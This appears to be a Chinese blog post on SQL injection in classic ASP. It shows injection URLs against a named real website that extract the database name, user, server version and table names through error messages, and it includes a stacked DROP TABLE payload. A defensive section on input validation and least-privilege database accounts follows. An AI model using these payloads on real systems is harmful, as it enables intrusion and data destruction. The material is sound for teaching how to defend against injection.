http://www.homelink.com.cn/newhomelink/site/News/Content.asp?NewsID=1077 And db_name()>0; --数据库名
很显然程序员没有去处理非正常的URL
当我们用这样的URL去get时,程序就这样执行
<%
Dim NewsID
NewsID = Request("NewsID") ' NewsID = 1077 And db_name()>0;
strSQL = "SELECT * FROM table WHERE NewsID=" & NewsID
' strSQL = SELECT * FROM table WHERE NewsID=1077 And db_name()>0;
Conn.Execute(strSQL) '由于db_name()返回的是字符型,和整型1进行比较,发生了错误,那么这一句就会报错了
%>
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
将 nvarchar 值 'newhomelink' 转换为数据类型为 int 的列时发生语法错误。
/newhomelink/site/News/Content.asp,行26
哈哈,原来数据库名是newhomelink
下面还有些例子
/* 查看服务器状态 */
http://www.homelink.com.cn/newhomelink/site/News/Content.asp?NewsID=1077
and user%2bchar(124)>0;--用户名
http://www.homelink.com.cn/newhomelink/site/News/Content.asp?NewsID=1077
and @@version =1;--服务器版本
http://www.homelink.com.cn/newhomelink/site/News/Content.asp?NewsID=1077
And (Select Top 1 cast(name as varchar(8000)) from(Select Top 1 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0 --第一个表名
http://www.homelink.com.cn/newhomelink/site/News/Content.asp?NewsID=1077
And (Select Top 1 cast(name as varchar(8000)) from(Select Top 2 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0 --第二个表名
/* 要做坏事啰 */
http://www.homelink.com.cn/newhomelink/site/News/Content.asp?NewsID=1077;DROP TABLE xxx;
其实还有很多,你尽可发挥想像
如何防范
第一道防线 程序方面
限定字串长度或输入的格式
客户端过来的数据都不可信任,包括 get、post、Session,还有cookies过来的值
Dim UserID
UserID = SQLFix(Request.Form("id"))
SQLFix函数在
ednchina\bbs\Include\sqlfix.asp
如果参数是数字型的,应该用isnumeric函数判断是否是数值
第二道防线 数据库方面
网站的数据库权限尽可能的小.
db_owen显然太大了.如果没有特殊要求应该只给read和write的权限.
一定不要用sa,这个权限其实就是administrtor啰
线上资源
编写安全的 Transact-SQL
http://www.microsoft.com/china/msdn/library/data/sqlserver/Sqldev101804.mspx
撰寫安全的 ADO.NET 命令字串
http://www.microsoft.com/taiwan/msdn/elearning/ADOdotNETSecurity.htm
SQL Injection (資料隱碼)– 駭客的 SQL填空遊戲
http://www.microsoft.com/taiwan/SQL/SQL_Injection_G1.htm
浙公网安备 33010602011771号